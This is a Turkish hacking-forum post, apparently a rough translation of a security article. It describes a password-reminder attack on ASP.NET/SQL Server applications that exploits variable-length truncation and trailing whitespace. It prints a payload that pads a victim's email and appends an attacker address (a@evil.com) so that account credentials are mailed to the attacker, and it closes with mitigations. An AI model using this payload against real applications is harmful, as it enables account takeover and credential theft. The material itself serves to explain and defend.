SQL Server Kullanan Uygulamalarda Uye_ol
SQL Server Kullanan Uygulamalarda Uye_ol
Would you like to react to this message? Create an account in a few clicks or log in to continue.



 
AnasayfaLatest imagesKayıt OlGiriş yap

 

 SQL Server Kullanan Uygulamalarda

Aşağa gitmek 
YazarMesaj
Hacked The BY

Hacked The BY


Erkek
Mesaj Sayısı : 30
Yaş : 29
Nerden : Anakra
rep puanı : 310
Kayıt tarihi : 03/04/10

SQL Server Kullanan Uygulamalarda Empty
MesajKonu: SQL Server Kullanan Uygulamalarda   SQL Server Kullanan Uygulamalarda Icon_minitime3rd Nisan 2010, 19:13

SQL SERVER KULLANAN UYGULAMALARDA TAMPON BELLEGİ KÖTÜYE KULLANMAK

ÖNSÖZ


Bu makale son zamanlarda onların değer biçilmiş uygulamalarının rotası kabul edilmiş bir saldırı tekniği olan Sec-1 için tasarlanmıştır. Bu tekniğin ana prensibi bazı zamanlar için vardır. Fakat umuyoruz ki bu makale web uygulamalarında yaygın bir saldırı olarak kabul edilen “şifremi unuttum” saldırısına karşı size bir bakış açısı sağlayacaktır. Bu doküman iki bölüme ayrılmıştır. Birinci bölüm tekniğin temel esaslarından bahsetmektedir, ikinci bölüm ise ticari uygulamalarına karşı olan atakları içermektedir.

“ŞİFREMİ UNUTTUM ” ATAĞI

Web uygulamalarında çoğunlukla kullanıcının hesabının doğrulanması gerekmektedir. Ayrıca kullanıcının şifresini yenilenmesi ya da yeniden verilmesini sağlayan yöntemlerde bulunmaktadır. Bu parçalar farklı genişlikte çalışmaktadırlar. Bunun bir kaç nedeni bulunmaktadır. Örneğin: stil, dil, mantık ya da işletilen sistem. Bu atağı bir ortam yâda geliştirme stili ile sınırlandırmamak gerekir. Bu dokuman ile aşağıdaki bilinen parçalara adapte olunmuştur.
NOT: Bu örnek Sec-1 ASNA takımı ile gerçek bir web uygulamasına dayanmaktadır.

SQL Server Kullanan Uygulamalarda 97789230cp8

Şifre Hatırlatma İşlemi

1- Kullanıcı e-mail adresini girer.
2- E-mail adresi SQL değişkenine yüklenir. Daha sonra değişken bir SQL veritabanında kullanıcının hesabını bulmak için arama işleminde kullanılır. Kullanıcı adı (e-mail) adresi ve şifre elde edilir.
3- Uygulamanın e-maili (yani web sayfası) kullanıcıya hesap bilgilerini gönderir.

SALDIRI ÖNSÖZÜ

Önce saldırı işlemini ayırıyoruz. Çünkü bu anahtar öğenin üzerini örtmek için önemlidir. Anahtar öğe bu atağın gerçekleşmesini olanaklı hale getirir. Şayet VB.Net ve Microsoft SQL değikenlerini biliyorsanız bu kısmı geçebilirsiniz.

Server Değişkenleri

Değişkenlerin boyutu ve tipi saldırılar ve kusurlar için vurgulanacak bir anahtardır.Bu örnekte VB ( ASP .NET) ve Microsoft SQL server kullanılmıştır. Bunların her birinde değişken tanımı birazcıkta olsa farklıdır. Aşağıdaki örnekleri inceleyin:

ASP .NET (VB) De Değişken Tanımı

Dim UserNameAsEmail AS String
Yukarıdaki değişken programcı tarafından oluşturulur. Değişkenin adı UserNameAsEmail dir ve kullanıcının email adresini tutar. (bu durumda email adresi ve kullanıcı adı bir tane ve aynıdır)
IMadem ki bu bir Visual Basic uygulaması programcının maksimim boyutu belirtmesi gerekmemektedir.(default değeri 64KB tır.)Fakat bu önerilir.
Microsoft SQL De Değişken Tanımı
Declare @UserNameAsEmail varchar(320)
Yukarıdaki SQL ifadesi en fazla 320 karakter tutacak şekilde bir değişken oluşturur RFC 2821 ye gore geçerli bir e-mail adresinin uzunluğu en fazla 320 karakterdir. Varchar tipinin maksimum alabileceği uzunluk 8000 bytes dır.

Beyaz Boşluk

Microsoft SQL server string değerlerindeki beyaz boşluk izlerini önem vermez.. Aşağıdaki SQL ifadesinde bu gösterilmiştir.
1> declare @UserNameAsEmail varchar(320)
2> set @UserNameAsEmail = ’garyo@sec-1.com’
3> select username,password FROM UserEmail where username=@UserNameAsEmail
4> go
username password
------------------- -------------
garyo@sec-1.com d32ed£%dZZA

Beyaz boşluk izleri yaparakta yanı sonuc elde ederiz.
1> declare @UserNameAsEmail varchar(320)
2> set @UserNameAsEmail = ’garyo@sec-1.com ’
3> select username,password FROM UserEmail where username=@UserNameAsEmail
4> go

username password
------------------- --
Savunmasızlık (The Vulnerability)
vulnerability ASP.NET değişkenleri ve Microsoft SQL değişkenleri birbiri ile örtüşmediği zaman oluşur. Eğer ASP.NET değişkeninin uzunluğu SQL server ın maksimum uzunluğundn büyük olursa , bizim göndereceğimiz değeri “şifremi unuttum” işlevininde etki etmek için kullanılabilecektir.Bizim amacımız, SQL Servara email adresini geçerli olarak yorumlatmak ve herhangi bir email adresi aracılığı ile saldırgana bir kullanıcı hesabı göndermektir.
Aşağıdaki öreği inceleyelim
(Not değişken uzunlukları bu döküman için orantılı bir şekilde belirlenmiştir.)

ADIM 1:

Saldırgan email adreslerini girer.
u@target.com kurbanın mail adresi , a@evil.com ise saldırganın mail adresi
u@target.com [308 Spaces]; a@evil.com
Bu .Net değişkeni olan UserNameAsEmail e yüklenecektir.

SQL Server Kullanan Uygulamalarda 22mf3

ADIM 2:

Kullanıcın email adresi SQL server değişkenine kopyalanacaktır. SQL server değişkeni en fazla verinin 320 byte olan kısmını tutacaktır. Bu nedenle beyaz boşluklar bitten yere kadar olan yeri kopyalayacaktır.
Misrosoft SQL Server Değişkeni:

SQL Server Kullanan Uygulamalarda 33hg5

Yukarıda gösterildiği şeklide Microsoft SQL değişkeni tutacaktır ve daha sonra kullanıcının şifresinin detaylarını getirecektir.

ADIM 3:

Kurban kullanıcı için geçerli bir email adresi girdiğimiz varsayalım. SQL server kullanıcının hesabını güvenli bir şekilde .NET uygulamasına getirecektir. Kullanıcının “şifremi unuttum” için bir bölüm dizayn edilecektir.Beyaz boşluk ASP.NET email fonksiyonu tarafından istenilen mail adresini yapmak için görmezlikten gelinecektir:
u@target.com; a@evil.com
Bir email kullanıcı hesabının detaylarını içerebilir ve hem kullanıcıya hemde saldırgana mail gider.

SAVUNMASIZLIĞI AZALTMAK

Bu makalede tanımlanan problem güvenli uygulamalr geliştirmek için kolay bir yöntemdir. Örneğin bu makaledeki ufak bir kod değişiklik ile savunmasızlığın ortadan kaldırıyoruz.

Input (Girdi ) Doğruluğu

İlk adım olarak sadece iyi karakterlere izin verilip geçerli bir mail adresi girilmeli .Herhangi bir ihlalin filitrelenmesi diğer analiz için kilitlenmeli. Bir emailde iyi karakterler için RFC28223 ve Wikipedia . makalelerine bakılabilir.

Güvenli Değişken Oluşturmak

.NET ve Microsoft SQL server değişkenlerinin maksimum uzunluğunun aynı olduğundan emin olun. Yukarıdaki örnekte aşağıdaki gibi tanımlanması gerekmektedir:
Dim UserNameAsEmail AS String * 320
Declare @UserNameAsEmail varchar(320)
Sayfa başına dön Aşağa gitmek
 
SQL Server Kullanan Uygulamalarda
Sayfa başına dön 
1 sayfadaki 1 sayfası

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
 :: (¯`·.(¯`·.(¯`·. Hack ve Guvenlik.·´¯).·´¯).·´¯) :: Hack Yontemleri-
Buraya geçin: